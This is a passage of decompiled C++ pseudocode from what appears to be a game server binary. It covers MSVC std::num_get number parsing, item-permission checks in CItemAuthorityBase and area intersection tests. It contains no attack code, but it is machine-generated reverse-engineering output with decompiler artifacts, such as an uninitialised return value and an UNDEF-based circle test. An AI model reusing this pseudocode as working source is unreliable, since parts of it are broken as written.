*)v8 + 1) = v18; } v20 = v22; v19 = *(_DWORD *)&_First._Got; *(_DWORD *)&v22->___u0.baseclass_0.dummy[0] = *(_DWORD *)&_First; *(_DWORD *)&v20->_Got = v19; __security_check_cookie((unsigned int)&_Ep ^ v27); return v20; } //----- (005F0410) -------------------------------------------------------- std::istreambuf_iterator > *__thiscall std::num_get>>::do_get(std::num_get > > *this, std::istreambuf_iterator > *result, std::istreambuf_iterator > _First, std::istreambuf_iterator > _Last, std::ios_base *_Iosbase, int *_State, float *_Val) { int *v7; // ebx@1 std::ios_base *v8; // edi@1 std::num_get > > *v9; // esi@1 std::locale *v10; // eax@1 int v11; // eax@1 int v12; // esi@2 unsigned int v13; // eax@2 int v14; // esi@5 int v15; // edx@13 std::istreambuf_iterator > *v16; // eax@13 char *_Ep; // [sp+10h] [bp-60h]@1 float _Ans; // [sp+14h] [bp-5Ch]@1 std::_Lockit thisa; // [sp+18h] [bp-58h]@2 float *v20; // [sp+1Ch] [bp-54h]@1 int v21; // [sp+20h] [bp-50h]@1 char _Ac[60]; // [sp+24h] [bp-4Ch]@1 unsigned int v23; // [sp+60h] [bp-10h]@1 int v24; // [sp+6Ch] [bp-4h]@1 v7 = _State; v23 = (unsigned int)&_Ep ^ __security_cookie; v8 = _Iosbase; v9 = this; v20 = _Val; *_errno() = 0; v10 = std::ios_base::getloc(v8, (std::locale *)&v21); v24 = 0; v11 = std::num_get>>::_Getffld( v9, _Ac, &_First, &_Last, v10); _Ans = _Stold(_Ac, &_Ep, v11); v24 = -1; if ( v21 ) { v12 = v21; std::_Lockit::_Lockit(&thisa, 0); v13 = *(_DWORD *)(v12 + 4); if ( v13 && v13 < 0xFFFFFFFF ) *(_DWORD *)(v12 + 4) = v13 - 1; v14 = ((*(_DWORD *)(v12 + 4) != 0) - 1) & v12; std::_Lockit::__Lockit(&thisa); if ( v14 ) (**(void (__thiscall ***)(_DWORD, _DWORD))v14)(v14, 1); } if ( std::istreambuf_iterator>::equal(&_First, &_Last) ) *v7 |= 1u; if ( _Ep == _Ac || *_errno() ) *v7 |= 2u; else *(_DWORD *)v20 = LODWORD(_Ans); v15 = *(_DWORD *)&_First._Got; *(_DWORD *)&result->___u0.baseclass_0.dummy[0] = *(_DWORD *)&_First; *(_DWORD *)&result->_Got = v15; __security_check_cookie((unsigned int)&_Ep ^ v23); return v16; } //----- (005F0570) -------------------------------------------------------- int __cdecl std::num_get>>::_Getffld(std::num_get > > *this, char *_Ac, std::istreambuf_iterator > *_First, std::istreambuf_iterator > *_Last, std::locale *_Loc) { void *v5; // ebx@1 signed int v6; // ebp@11 void *v7; // eax@11 void *v8; // eax@14 int v9; // edi@17 char *v10; // ecx@32 void *v11; // eax@33 void *v12; // ecx@33 unsigned int v13; // ebx@39 void *v14; // ebp@39 void *v15; // eax@39 void **v16; // eax@50 void *v17; // edx@56 char v18; // cl@60 void **v19; // eax@62 void **v20; // eax@66 int v21; // edi@75 char *v22; // eax@77 char v23; // cl@82 char *v24; // eax@82 int v25; // edi@85 std::istreambuf_iterator > *v26; // ebx@85 char *v27; // eax@92 char *v28; // eax@103 char *v29; // eax@121 char *v30; // ebx@132 int v31; // ebx@132 std::istreambuf_iterator > *v32; // ebp@132 signed int v33; // edi@132 std::istreambuf_iterator > *v34; // ebx@143 char *v35; // eax@150 std::istreambuf_iterator > *v36; // ebp@151 void *v37; // ebx@152 char *v38; // eax@167 int result; // eax@171 int v40; // [sp+10h] [bp-6Ch]@1 char *_Ptr; // [sp+14h] [bp-68h]@1 char _Bad; // [sp+1Bh] [bp-61h]@1 std::istreambuf_iterator > *_Right; // [sp+1Ch] [bp-60h]@1 int _Pten; // [sp+20h] [bp-5Ch]@11 char _Kseparator; // [sp+27h] [bp-55h]@17 int _Significant; // [sp+28h] [bp-54h]@11 void *_Punct_fac; // [sp+2Ch] [bp-50h]@1 char *v48; // [sp+30h] [bp-4Ch]@1 char _Groups; // [sp+34h] [bp-48h]@46 void *p; // [sp+38h] [bp-44h]@17 int v51; // [sp+48h] [bp-34h]@17 unsigned int v52; // [sp+4Ch] [bp-30h]@17 char _Grouping; // [sp+50h] [bp-2Ch]@1 void *v54; // [sp+54h] [bp-28h]@11 unsigned int v55; // [sp+68h] [bp-14h]@11 unsigned int v56; // [sp+6Ch] [bp-10h]@1 int v57; // [sp+78h] [bp-4h]@1 v56 = (unsigned int)&v40 ^ __security_cookie; v48 = _Ac; _Right = _Last; v5 = std::use_facet>(_Loc); _Punct_fac = v5; std::numpunct::grouping( (std::numpunct *)v5, (std::basic_string,std::allocator > *)&_Grouping); v57 = 0; _Ptr = _Ac; _Bad = 0; if ( !std::istreambuf_iterator>::equal(_First, _Last) ) { if ( !_First->_Got ) std::istreambuf_iterator>::_Peek(_First); if ( _First->_Val == 43 ) { *_Ac = 43; LABEL_10: _Ptr = _Ac + 1; std::istreambuf_iterator>::_Inc(_First); goto LABEL_11; } if ( !_First->_Got ) std::istreambuf_iterator>::_Peek(_First); if ( _First->_Val == 45 ) { *_Ac = 45; goto LABEL_10; } } LABEL_11: v6 = 0; BYTE3(v40) = 0; _Significant = 0; _Pten = 0; v7 = v54; if ( v55 < 0x10 ) v7 = &v54; if ( *(_BYTE *)v7 == 127 ) goto LABEL_174; v8 = v54; if ( v55 < 0x10 ) v8 = &v54; if ( *(_BYTE *)v8 <= 0 ) { LABEL_174: if ( std::istreambuf_iterator>::equal(_First, _Right) ) goto LABEL_78; while ( 1 ) { if ( !_First->_Got ) std::istreambuf_iterator>::_Peek(_First); if ( _First->_Val < 48 ) break; if ( !_First->_Got ) std::istreambuf_iterator>::_Peek(_First); if ( _First->_Val > 57 ) break; v21 = _Significant; if ( _Significant < 36 ) { if ( !_First->_Got ) std::istreambuf_iterator>::_Peek(_First); if ( _First->_Val != 48 || v21 ) { if ( !_First->_Got ) std::istreambuf_iterator>::_Peek(_First); v29 = _Ptr; *_Ptr = _First->_Val; ++v21; _Ptr = v29 + 1; _Significant = v21; } } else { ++_Pten; } BYTE3(v40) = 1; std::istreambuf_iterator>::_Inc(_First); if ( std::istreambuf_iterator>::equal(_First, _Right) ) goto LABEL_76; } } else { _Kseparator = (*(int (__thiscall **)(void *))(*(_DWORD *)v5 + 8))(v5); v52 = 15; LOWORD(p) = 0; v51 = 1; LOBYTE(v57) = 1; v9 = 0; if ( std::istreambuf_iterator>::equal(_First, _Right) ) { v14 = p; v13 = v52; } else { do { if ( !_First->_Got ) std::istreambuf_iterator>::_Peek(_First); if ( _First->_Val < 48 ) goto LABEL_175; if ( !_First->_Got ) std::istreambuf_iterator>::_Peek(_First); if ( _First->_Val > 57 ) { LABEL_175: v13 = v52; v14 = p; v15 = p; if ( v52 < 0x10 ) v15 = &p; if ( !*((_BYTE *)v15 + v9) || !_Kseparator ) goto LABEL_49; if ( !_First->_Got ) { std::istreambuf_iterator>::_Peek(_First); v14 = p; v13 = v52; } if ( _First->_Val != _Kseparator ) goto LABEL_49; std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&_Groups, 1u, 0); v6 = _Significant; ++v9; } else { BYTE3(v40) = 1; if ( v6 < 36 ) { if ( !_First->_Got ) std::istreambuf_iterator>::_Peek(_First); if ( _First->_Val != 48 || v6 ) { if ( !_First->_Got ) std::istreambuf_iterator>::_Peek(_First); v10 = _Ptr; *_Ptr = _First->_Val; ++v6; _Ptr = v10 + 1; _Significant = v6; } } else { ++_Pten; } v11 = p; v12 = p; if ( v52 < 0x10 ) v12 = &p; if ( *((_BYTE *)v12 + v9) != 127 ) { if ( v52 < 0x10 ) v11 = &p; ++*((_BYTE *)v11 + v9); } } std::istreambuf_iterator>::_Inc(_First); } while ( !std::istreambuf_iterator>::equal(_First, _Right) ); v14 = p; v13 = v52; LABEL_49: if ( v9 ) { v16 = (void **)v14; if ( v13 < 0x10 ) v16 = &p; if ( *((_BYTE *)v16 + v9) <= 0 ) _Bad = 1; else ++v9; } } v17 = v54; if ( v55 < 0x10 ) v17 = &v54; if ( !_Bad ) { while ( v9 ) { v18 = *(_BYTE *)v17; if ( *(_BYTE *)v17 == 127 ) break; --v9; if ( v9 ) { v19 = (void **)v14; if ( v13 < 0x10 ) v19 = &p; if ( v18 != *((_BYTE *)v19 + v9) ) goto LABEL_176; } if ( !v9 ) { v20 = (void **)v14; if ( v13 < 0x10 ) v20 = &p; if ( v18 < *(_BYTE *)v20 ) { LABEL_176: _Bad = 1; break; } } if ( *((_BYTE *)v17 + 1) > 0 ) v17 = (char *)v17 + 1; } } LOBYTE(v57) = 0; if ( v13 >= 0x10 ) operator delete(v14); } if ( BYTE3(v40) ) { v21 = _Significant; LABEL_76: if ( !v21 ) { v22 = _Ptr; *_Ptr = 48; _Ptr = v22 + 1; } } LABEL_78: if ( !std::istreambuf_iterator>::equal(_First, _Right) ) { if ( !_First->_Got ) std::istreambuf_iterator>::_Peek(_First); if ( _First->_Val == (unsigned __int8)(*(int (**)(void))(*(_DWORD *)_Punct_fac + 4))() ) { v23 = *localeconv()->decimal_point; v24 = _Ptr; *_Ptr = v23; _Ptr = v24 + 1; std::istreambuf_iterator>::_Inc(_First); } } if ( !_Significant ) { if ( !std::istreambuf_iterator>::equal(_First, _Right) ) { v25 = _Pten; v26 = _Right; do { if ( !_First->_Got ) std::istreambuf_iterator>::_Peek(_First); if ( _First->_Val != 48 ) break; --v25; BYTE3(v40) = 1; std::istreambuf_iterator>::_Inc(_First); } while ( !std::istreambuf_iterator>::equal(_First, v26) ); _Pten = v25; } if ( _Pten < 0 ) { v27 = _Ptr; *_Ptr = 48; _Ptr = v27 + 1; ++_Pten; } } if ( !std::istreambuf_iterator>::equal(_First, _Right) ) { while ( 1 ) { if ( !_First->_Got ) std::istreambuf_iterator>::_Peek(_First); if ( _First->_Val < 48 ) break; if ( !_First->_Got ) std::istreambuf_iterator>::_Peek(_First); if ( _First->_Val > 57 ) break; if ( _Significant < 36 ) { if ( !_First->_Got ) std::istreambuf_iterator>::_Peek(_First); v28 = _Ptr; *_Ptr = _First->_Val; _Ptr = v28 + 1; ++_Significant; } BYTE3(v40) = 1; std::istreambuf_iterator>::_Inc(_First); if ( std::istreambuf_iterator>::equal(_First, _Right) ) goto LABEL_125; } } if ( BYTE3(v40) ) { LABEL_125: if ( std::istreambuf_iterator>::equal(_First, _Right) ) goto LABEL_165; if ( !_First->_Got ) std::istreambuf_iterator>::_Peek(_First); if ( _First->_Val != 101 ) { if ( !_First->_Got ) std::istreambuf_iterator>::_Peek(_First); if ( _First->_Val != 69 ) goto LABEL_165; } v30 = _Ptr; *_Ptr = 101; v31 = (int)(v30 + 1); _Ptr = (char *)v31; std::istreambuf_iterator>::_Inc(_First); v32 = _Right; BYTE3(v40) = 0; v33 = 0; if ( std::istreambuf_iterator>::equal(_First, _Right) ) goto LABEL_142; if ( !_First->_Got ) std::istreambuf_iterator>::_Peek(_First); if ( _First->_Val == 43 ) { *(_BYTE *)v31 = 43; } else { if ( !_First->_Got ) std::istreambuf_iterator>::_Peek(_First); if ( _First->_Val != 45 ) goto LABEL_142; *(_BYTE *)v31 = 45; } _Ptr = (char *)(v31 + 1); std::istreambuf_iterator>::_Inc(_First); LABEL_142: if ( !std::istreambuf_iterator>::equal(_First, v32) ) { v34 = _Right; while ( 1 ) { if ( !_First->_Got ) std::istreambuf_iterator>::_Peek(_First); if ( _First->_Val != 48 ) break; BYTE3(v40) = 1; std::istreambuf_iterator>::_Inc(_First); if ( std::istreambuf_iterator>::equal(_First, v34) ) goto LABEL_150; } if ( !BYTE3(v40) ) goto LABEL_151; LABEL_150: v35 = _Ptr; *_Ptr = 48; _Ptr = v35 + 1; } LABEL_151: v36 = _Right; if ( !std::istreambuf_iterator>::equal(_First, _Right) ) { v37 = _Ptr; do { if ( !_First->_Got ) std::istreambuf_iterator>::_Peek(_First); if ( _First->_Val < 48 ) break; if ( !_First->_Got ) std::istreambuf_iterator>::_Peek(_First); if ( _First->_Val > 57 ) break; if ( v33 < 8 ) { if ( !_First->_Got ) std::istreambuf_iterator>::_Peek(_First); *(_BYTE *)v37 = _First->_Val; v37 = (char *)v37 + 1; ++v33; } BYTE3(v40) = 1; std::istreambuf_iterator>::_Inc(_First); } while ( !std::istreambuf_iterator>::equal(_First, v36) ); _Ptr = (char *)v37; } } LABEL_165: if ( !_Bad && BYTE3(v40) ) v38 = _Ptr; else v38 = v48; *v38 = 0; if ( v55 >= 0x10 ) operator delete(v54); __security_check_cookie((unsigned int)&v40 ^ v56); return result; } //----- (005F0C50) -------------------------------------------------------- std::istreambuf_iterator > *__thiscall std::num_get>>::do_get(std::num_get > > *this, std::istreambuf_iterator > *result, std::istreambuf_iterator > _First, std::istreambuf_iterator > _Last, std::ios_base *_Iosbase, int *_State, long double *_Val) { int *v7; // ebx@1 std::ios_base *v8; // edi@1 std::num_get > > *v9; // esi@1 std::locale *v10; // eax@1 int v11; // eax@1 int v12; // esi@2 unsigned int v13; // eax@2 int v14; // esi@5 std::istreambuf_iterator > *v15; // eax@13 char *_Ep; // [sp+10h] [bp-64h]@1 long double *v17; // [sp+14h] [bp-60h]@1 std::_Lockit thisa; // [sp+18h] [bp-5Ch]@2 int v19; // [sp+1Ch] [bp-58h]@1 long double _Ans; // [sp+20h] [bp-54h]@1 char _Ac[60]; // [sp+28h] [bp-4Ch]@1 unsigned int v22; // [sp+64h] [bp-10h]@1 int v23; // [sp+70h] [bp-4h]@1 v7 = _State; v22 = (unsigned int)&_Ep ^ __security_cookie; v8 = _Iosbase; v9 = this; v17 = _Val; *_errno() = 0; v10 = std::ios_base::getloc(v8, (std::locale *)&v19); v23 = 0; v11 = std::num_get>>::_Getffld( v9, _Ac, &_First, &_Last, v10); _Ans = _Stod(_Ac, &_Ep, v11); v23 = -1; if ( v19 ) { v12 = v19; std::_Lockit::_Lockit(&thisa, 0); v13 = *(_DWORD *)(v12 + 4); if ( v13 && v13 < 0xFFFFFFFF ) *(_DWORD *)(v12 + 4) = v13 - 1; v14 = ((*(_DWORD *)(v12 + 4) != 0) - 1) & v12; std::_Lockit::__Lockit(&thisa); if ( v14 ) (**(void (__thiscall ***)(_DWORD, _DWORD))v14)(v14, 1); } if ( std::istreambuf_iterator>::equal(&_First, &_Last) ) *v7 |= 1u; if ( _Ep == _Ac || *_errno() ) *v7 |= 2u; else *(_QWORD *)v17 = *(_QWORD *)&_Ans; v15 = *(std::istreambuf_iterator > **)&_First; *(_DWORD *)&result->_Got = *(_DWORD *)&_First._Got; *(_DWORD *)&result->___u0.baseclass_0.dummy[0] = v15; __security_check_cookie((unsigned int)&_Ep ^ v22); return v15; } //----- (005F0DB0) -------------------------------------------------------- std::istreambuf_iterator > *__thiscall std::num_get>>::do_get(std::num_get > > *this, std::istreambuf_iterator > *result, std::istreambuf_iterator > _First, std::istreambuf_iterator > _Last, std::ios_base *_Iosbase, int *_State, long double *_Val) { int *v7; // ebx@1 std::ios_base *v8; // edi@1 std::num_get > > *v9; // esi@1 std::locale *v10; // eax@1 int v11; // eax@1 int v12; // esi@2 unsigned int v13; // eax@2 int v14; // esi@5 std::istreambuf_iterator > *v15; // eax@13 char *_Ep; // [sp+10h] [bp-64h]@1 long double *v17; // [sp+14h] [bp-60h]@1 std::_Lockit thisa; // [sp+18h] [bp-5Ch]@2 int v19; // [sp+1Ch] [bp-58h]@1 long double _Ans; // [sp+20h] [bp-54h]@1 char _Ac[60]; // [sp+28h] [bp-4Ch]@1 unsigned int v22; // [sp+64h] [bp-10h]@1 int v23; // [sp+70h] [bp-4h]@1 v7 = _State; v22 = (unsigned int)&_Ep ^ __security_cookie; v8 = _Iosbase; v9 = this; v17 = _Val; *_errno() = 0; v10 = std::ios_base::getloc(v8, (std::locale *)&v19); v23 = 0; v11 = std::num_get>>::_Getffld( v9, _Ac, &_First, &_Last, v10); _Ans = _Stold(_Ac, &_Ep, v11); v23 = -1; if ( v19 ) { v12 = v19; std::_Lockit::_Lockit(&thisa, 0); v13 = *(_DWORD *)(v12 + 4); if ( v13 && v13 < 0xFFFFFFFF ) *(_DWORD *)(v12 + 4) = v13 - 1; v14 = ((*(_DWORD *)(v12 + 4) != 0) - 1) & v12; std::_Lockit::__Lockit(&thisa); if ( v14 ) (**(void (__thiscall ***)(_DWORD, _DWORD))v14)(v14, 1); } if ( std::istreambuf_iterator>::equal(&_First, &_Last) ) *v7 |= 1u; if ( _Ep == _Ac || *_errno() ) *v7 |= 2u; else *(_QWORD *)v17 = *(_QWORD *)&_Ans; v15 = *(std::istreambuf_iterator > **)&_First; *(_DWORD *)&result->_Got = *(_DWORD *)&_First._Got; *(_DWORD *)&result->___u0.baseclass_0.dummy[0] = v15; __security_check_cookie((unsigned int)&_Ep ^ v22); return v15; } //----- (005F0F10) -------------------------------------------------------- std::istreambuf_iterator > *__thiscall std::num_get>>::do_get(std::num_get > > *this, std::istreambuf_iterator > *result, std::istreambuf_iterator > _First, std::istreambuf_iterator > _Last, std::ios_base *_Iosbase, int *_State, void **_Val) { int *v7; // ebx@1 void **v8; // ebp@1 std::ios_base *v9; // edi@1 std::num_get > > *v10; // esi@1 std::locale *v11; // eax@1 int v12; // edi@1 int v13; // esi@2 unsigned int v14; // eax@2 int v15; // esi@5 unsigned int v16; // esi@7 int v17; // edx@13 std::istreambuf_iterator > *v18; // eax@13 char *_Ep; // [sp+10h] [bp-48h]@1 std::istreambuf_iterator > *v20; // [sp+14h] [bp-44h]@1 std::_Lockit thisa; // [sp+18h] [bp-40h]@2 int v22; // [sp+1Ch] [bp-3Ch]@1 int v23; // [sp+24h] [bp-34h]@7 char _Ac[32]; // [sp+28h] [bp-30h]@1 unsigned int v25; // [sp+48h] [bp-10h]@1 int v26; // [sp+54h] [bp-4h]@1 v7 = _State; v8 = _Val; v25 = (unsigned int)&_Ep ^ __security_cookie; v9 = _Iosbase; v10 = this; v20 = result; *_errno() = 0; v11 = std::ios_base::getloc(v9, (std::locale *)&v22); v26 = 0; v12 = std::num_get>>::_Getifld( v10, _Ac, &_First, &_Last, 2048, v11); v26 = -1; if ( v22 ) { v13 = v22; std::_Lockit::_Lockit(&thisa, 0); v14 = *(_DWORD *)(v13 + 4); if ( v14 && v14 < 0xFFFFFFFF ) *(_DWORD *)(v13 + 4) = v14 - 1; v15 = ((*(_DWORD *)(v13 + 4) != 0) - 1) & v13; std::_Lockit::__Lockit(&thisa); if ( v15 ) (**(void (__thiscall ***)(_DWORD, _DWORD))v15)(v15, 1); } v16 = strtoul(_Ac, &_Ep, v12); v23 = 0; if ( std::istreambuf_iterator>::equal(&_First, &_Last) ) *v7 |= 1u; if ( _Ep == _Ac || *_errno() ) *v7 |= 2u; else *v8 = (void *)v16; v18 = v20; v17 = *(_DWORD *)&_First; *(_DWORD *)&v20->_Got = *(_DWORD *)&_First._Got; *(_DWORD *)&v18->___u0.baseclass_0.dummy[0] = v17; __security_check_cookie((unsigned int)&_Ep ^ v25); return v18; } //----- (005F1060) -------------------------------------------------------- void __thiscall CItemAuthorityBase::CItemAuthorityBase(CItemAuthorityBase *this) { CItemAuthorityBase *v1; // eax@1 char *v2; // edi@1 char *v3; // edx@1 signed int v4; // esi@1 signed int v5; // ecx@2 v1 = this; v2 = (char *)this->IA_ChrBelong; this->vfptr = (CItemAuthorityBaseVtbl *)&CItemAuthorityBase::_vftable_; v3 = (char *)this->IA_ChrBelong; v4 = 17; do { v5 = 0; do { v3[v5 + 289] = 0; v3[v5] = 0; v3[v5++ - 289] = 0; } while ( v5 < 17 ); v3 += 17; --v4; } while ( v4 ); *v2 = 1; v1->IA_Common[8][9] = 1; v1->IA_Common[9][9] = 1; v1->IA_Common[9][8] = 1; v1->IA_Common[9][12] = 1; v1->IA_Common[9][3] = 1; v1->IA_Common[9][13] = 1; v1->IA_Common[9][14] = 1; v1->IA_Common[9][16] = 1; v1->IA_Common[9][15] = 1; v1->IA_Common[9][0] = 1; v1->IA_Common[9][6] = 1; v1->IA_Common[12][12] = 1; v1->IA_Common[3][3] = 1; v1->IA_Common[13][13] = 1; v1->IA_Common[14][14] = 1; v1->IA_Common[16][16] = 1; v1->IA_Common[15][15] = 1; v1->IA_Common[0][0] = 1; v1->IA_Common[0][9] = 1; v1->IA_Common[6][6] = 1; v1->IA_Common[6][9] = 1; v1->IA_Common[2][9] = 1; v1->IA_Common[4][9] = 1; v1->IA_Common[5][9] = 1; v1->IA_ChrBelong[8][9] = 1; v1->IA_ChrBelong[9][9] = 1; v1->IA_ChrBelong[9][8] = 1; v1->IA_ChrBelong[9][12] = 1; v1->IA_ChrBelong[9][3] = 1; v1->IA_ChrBelong[9][13] = 1; v1->IA_ChrBelong[9][14] = 1; v1->IA_ChrBelong[9][16] = 1; v1->IA_ChrBelong[9][15] = 1; v1->IA_ChrBelong[12][12] = 1; v1->IA_ChrBelong[3][3] = 1; v1->IA_ChrBelong[13][13] = 1; v1->IA_ChrBelong[14][14] = 1; v1->IA_ChrBelong[16][16] = 1; v1->IA_ChrBelong[15][15] = 1; v1->IA_ChrBelong[0][9] = 1; v1->IA_ChrBelong[6][6] = 1; v1->IA_ChrBelong[6][9] = 1; v1->IA_ChrBelong[2][9] = 1; v1->IA_ChrBelong[4][9] = 1; v1->IA_ChrBelong[5][9] = 1; v1->IA_AccBelong[8][9] = 1; v1->IA_AccBelong[9][9] = 1; v1->IA_AccBelong[9][8] = 1; v1->IA_AccBelong[9][12] = 1; v1->IA_AccBelong[9][3] = 1; v1->IA_AccBelong[9][13] = 1; v1->IA_AccBelong[9][14] = 1; v1->IA_AccBelong[9][16] = 1; v1->IA_AccBelong[9][15] = 1; v1->IA_AccBelong[9][6] = 1; v1->IA_AccBelong[12][12] = 1; v1->IA_AccBelong[3][3] = 1; v1->IA_AccBelong[13][13] = 1; v1->IA_AccBelong[14][14] = 1; v1->IA_AccBelong[16][16] = 1; v1->IA_AccBelong[15][15] = 1; v1->IA_AccBelong[0][0] = 1; v1->IA_AccBelong[0][9] = 1; v1->IA_AccBelong[6][6] = 1; v1->IA_AccBelong[6][9] = 1; v1->IA_AccBelong[2][9] = 1; v1->IA_AccBelong[4][9] = 1; v1->IA_AccBelong[5][9] = 1; } // 689560: using guessed type int (__thiscall *CItemAuthorityBase___vftable_)(void *p, char); //----- (005F1230) -------------------------------------------------------- void __thiscall CItemAuthorityBase::_CItemAuthorityBase(CItemAuthorityBase *this) { this->vfptr = (CItemAuthorityBaseVtbl *)&CItemAuthorityBase::_vftable_; } // 689560: using guessed type int (__thiscall *CItemAuthorityBase___vftable_)(void *p, char); //----- (005F1240) -------------------------------------------------------- int __thiscall CItemAuthorityBase::IA_CanDrop(CItemAuthorityBase *this, E_BelongType eType, SHINE_PUT_ON_BELONGED_ITEM eBelongState) { CItemAuthorityBase *v3; // esi@1 int result; // eax@1 v3 = this; result = ((int (__stdcall *)(_DWORD))this->vfptr->IA_GetBelongTypeInfo)(eType); if ( result ) { if ( *(_BYTE *)(result + 4) ) { if ( !eBelongState ) result = (int)v3->vfptr->IA_GetBelongTypeInfo(v3, 0); } result = *(_BYTE *)(result + 5) == 0; } return result; } //----- (005F1280) -------------------------------------------------------- int __thiscall CItemAuthorityBase::IA_CanDelete(CItemAuthorityBase *this, E_BelongType eType) { int result; // eax@1 result = ((int (__stdcall *)(_DWORD))this->vfptr->IA_GetBelongTypeInfo)(eType); if ( result ) result = *(_BYTE *)(result + 9) == 0; return result; } //----- (005F12A0) -------------------------------------------------------- int __thiscall CItemAuthorityBase::IA_CanPlayerTrade(CItemAuthorityBase *this, E_BelongType eType, SHINE_PUT_ON_BELONGED_ITEM eBelongState) { CItemAuthorityBase *v3; // esi@1 int result; // eax@1 v3 = this; result = ((int (__stdcall *)(_DWORD))this->vfptr->IA_GetBelongTypeInfo)(eType); if ( result ) { if ( *(_BYTE *)(result + 4) ) { if ( !eBelongState ) result = (int)v3->vfptr->IA_GetBelongTypeInfo(v3, 0); } result = *(_BYTE *)(result + 8) == 0; } return result; } //----- (005F12E0) -------------------------------------------------------- int __thiscall CItemAuthorityBase::IA_CanNpcSell(CItemAuthorityBase *this, E_BelongType eType) { int result; // eax@1 result = ((int (__stdcall *)(_DWORD))this->vfptr->IA_GetBelongTypeInfo)(eType); if ( result ) result = *(_BYTE *)(result + 6) == 0; return result; } //----- (005F1300) -------------------------------------------------------- int __thiscall CItemAuthorityBase::IA_IsWorkChrBelonged(CItemAuthorityBase *this, E_BelongType eType, SHINE_PUT_ON_BELONGED_ITEM eBelongState) { CItemAuthorityBase *v3; // esi@1 int v4; // eax@1 int result; // eax@8 v3 = this; v4 = ((int (__stdcall *)(_DWORD))this->vfptr->IA_GetBelongTypeInfo)(eType); if ( !v4 ) goto LABEL_12; if ( *(_BYTE *)(v4 + 4) && !eBelongState ) v4 = (int)v3->vfptr->IA_GetBelongTypeInfo(v3, 0); if ( *(_BYTE *)(v4 + 5) && *(_BYTE *)(v4 + 7) && *(_BYTE *)(v4 + 8) ) result = 1; else LABEL_12: result = 0; return result; } //----- (005F1350) -------------------------------------------------------- int __thiscall CItemAuthorityBase::IA_IsWorkAccBelonged(CItemAuthorityBase *this, E_BelongType eType, SHINE_PUT_ON_BELONGED_ITEM eBelongState) { CItemAuthorityBase *v3; // esi@1 int v4; // eax@1 int result; // eax@7 v3 = this; v4 = ((int (__stdcall *)(_DWORD))this->vfptr->IA_GetBelongTypeInfo)(eType); if ( !v4 ) goto LABEL_11; if ( *(_BYTE *)(v4 + 4) && !eBelongState ) v4 = (int)v3->vfptr->IA_GetBelongTypeInfo(v3, 0); if ( *(_BYTE *)(v4 + 5) && *(_BYTE *)(v4 + 8) ) result = 1; else LABEL_11: result = 0; return result; } //----- (005F13A0) -------------------------------------------------------- int __thiscall CItemAuthorityBase::IA_IsDataPutOnBelonged(CItemAuthorityBase *this, E_BelongType eType) { int result; // eax@1 result = ((int (__stdcall *)(_DWORD))this->vfptr->IA_GetBelongTypeInfo)(eType); if ( result ) result = *(_BYTE *)(result + 4); return result; } //----- (005F13C0) -------------------------------------------------------- void *__thiscall CItemAuthorityBase::_scalar_deleting_destructor_(CItemAuthorityBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; this->vfptr = (CItemAuthorityBaseVtbl *)&CItemAuthorityBase::_vftable_; if ( a2 & 1 ) operator delete(this); return v2; } // 689560: using guessed type int (__thiscall *CItemAuthorityBase___vftable_)(void *p, char); //----- (005F13E0) -------------------------------------------------------- int __thiscall CItemAuthorityBase::IA_CanInvenReloc(CItemAuthorityBase *this, E_BelongType eType, SHINE_PUT_ON_BELONGED_ITEM eBelongState, unsigned __int16 FromInven, unsigned __int16 ToInven, E_RELOC_ERR *eRelocErr) { int result; // eax@1 CItemAuthorityBase *v7; // esi@1 int v8; // eax@7 result = (int)eRelocErr; v7 = this; if ( eRelocErr ) { if ( FromInven >= 0x11u ) return 0; if ( ToInven >= 0x11u ) return 0; *eRelocErr = 0; if ( CItemAuthorityBase::IA_IsWorkChrBelonged(this, eType, eBelongState) ) { v8 = (int)((char *)v7->IA_ChrBelong + 16 * FromInven + FromInven + ToInven); if ( !*(_BYTE *)v8 ) { *eRelocErr = 1; return *(_BYTE *)v8; } } else { if ( CItemAuthorityBase::IA_IsWorkAccBelonged(v7, eType, eBelongState) ) { v8 = (int)((char *)v7->IA_AccBelong + 16 * FromInven + FromInven + ToInven); if ( !*(_BYTE *)v8 ) { *eRelocErr = 2; return *(_BYTE *)v8; } } else { v8 = (int)((char *)v7->IA_Common + 16 * FromInven + FromInven + ToInven); if ( !*(_BYTE *)v8 ) *eRelocErr = 3; } } result = *(_BYTE *)v8; } return result; } //----- (005F14D0) -------------------------------------------------------- bool __thiscall AreaInfoData::AE_Circle::IntersectTest(AreaInfoData::AE_Circle *this, float fX, float fY) { __int16 v3; // fps@1 unsigned __int8 v4; // c0@1 unsigned __int8 v5; // c3@1 bool result; // al@2 UNDEF(v3); if ( v4 | v5 ) result = 0; else result = 1; return result; } //----- (005F1510) -------------------------------------------------------- bool __thiscall AreaInfoData::AE_Square::IntersectTest(AreaInfoData::AE_Square *this, float fX, float fY) { double v3; // st7@1 double v4; // st6@1 long double v5; // st5@1 long double v6; // st5@1 long double v7; // st5@1 float fXa; // [sp+4h] [bp+4h]@1 float fCos; // [sp+8h] [bp+8h]@1 v3 = fX - this->fCenterX; v4 = fY - this->fCenterY; v5 = -this->fAngle; fXa = cos(v5); v6 = sin(v5); fCos = v6 * v4 + fXa * v3; v7 = fXa * v4 - v6 * v3; return -this->fRadiusV <= v7 && v7 <= this->fRadiusV && -this->fRadiusU <= fCos && this->fRadiusU >= (double)fCos; } //----- (005F1590) -------------------------------------------------------- void __thiscall AreaInfoData::AreaInfoData(AreaInfoData *this) { this->vfptr = (AreaInfoDataVtbl *)&AreaInfoData::_vftable_; this->m_uiTotalDataCnt = 0; memset(this->m_pData, 0, sizeof(this->m_pData)); } // 689568: using guessed type int (__thiscall *AreaInfoData___vftable_)(void *p, char); //----- (005F15C0) -------------------------------------------------------- AreaInfoData::IAreaData *__thiscall AreaInfoData::GetData(AreaInfoData *this, Name8 *Name) { unsigned int v2; // edi@1 unsigned int v3; // edx@1 AreaInfoData::IAreaData **v4; // esi@2 AreaInfoData::IAreaData *result; // eax@3 v2 = this->m_uiTotalDataCnt; v3 = 0; if ( v2 ) { v4 = this->m_pData; do { result = *v4; if ( !*v4 ) break; if ( *(_DWORD *)&Name->n8_name[0] == *(_DWORD *)&result->Name.n8_name[0] && *(_DWORD *)&Name->n8_name[4] == *(_DWORD *)&result->Name.n8_name[4] && *(_DWORD *)&Name->n8_name[8] == *(_DWORD *)&result->Name.n8_name[8] && *(_DWORD *)&Name->n8_name[12] == *(_DWORD *)&result->Name.n8_name[12] && *(_DWORD *)&Name->n8_name[16] == *(_DWORD 